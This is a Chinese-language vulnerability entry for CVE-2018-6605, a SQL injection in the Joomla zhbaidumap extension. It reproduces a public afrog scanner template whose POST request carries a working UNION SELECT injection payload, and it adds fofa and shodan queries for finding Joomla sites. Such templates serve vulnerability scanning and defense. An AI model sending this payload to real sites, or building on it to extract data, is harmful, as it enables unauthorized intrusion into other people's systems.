CVE-2018-6605: Joomla Ext zhbaidumap sql inject

漏洞描述

Joomla Ext zhbaidumap sql inject fofa: app="Joomla" shodan: http.html:"Joomla"

PoC代码[已公开]

id: CVE-2018-6605

info:
  name: Joomla Ext zhbaidumap sql inject
  author: leezp
  severity: critical
  description: |-
    Joomla Ext zhbaidumap sql inject
    fofa: app="Joomla"
    shodan: http.html:"Joomla"
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6605
    - https://nvd.nist.gov/vuln/detail/CVE-2018-6605
    - https://www.tenable.com/security/tns-2018-02
  tags: cve,cve2018,joomla,sqlinject,zhbaidumap
  created: 2023/08/10

set:
  rand: randomInt(2000000000, 2100000000)
rules:
  r0:
    request:
      method: POST
      path: /index.php?option=com_zhbaidumap&no_html=1&format=raw&task=getPlacemarkDetails
      body: id=-1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5({{rand}}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+
    expression: response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) && response.body.bcontains(b"dataexists")
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2018/CVE-2018-6605.yaml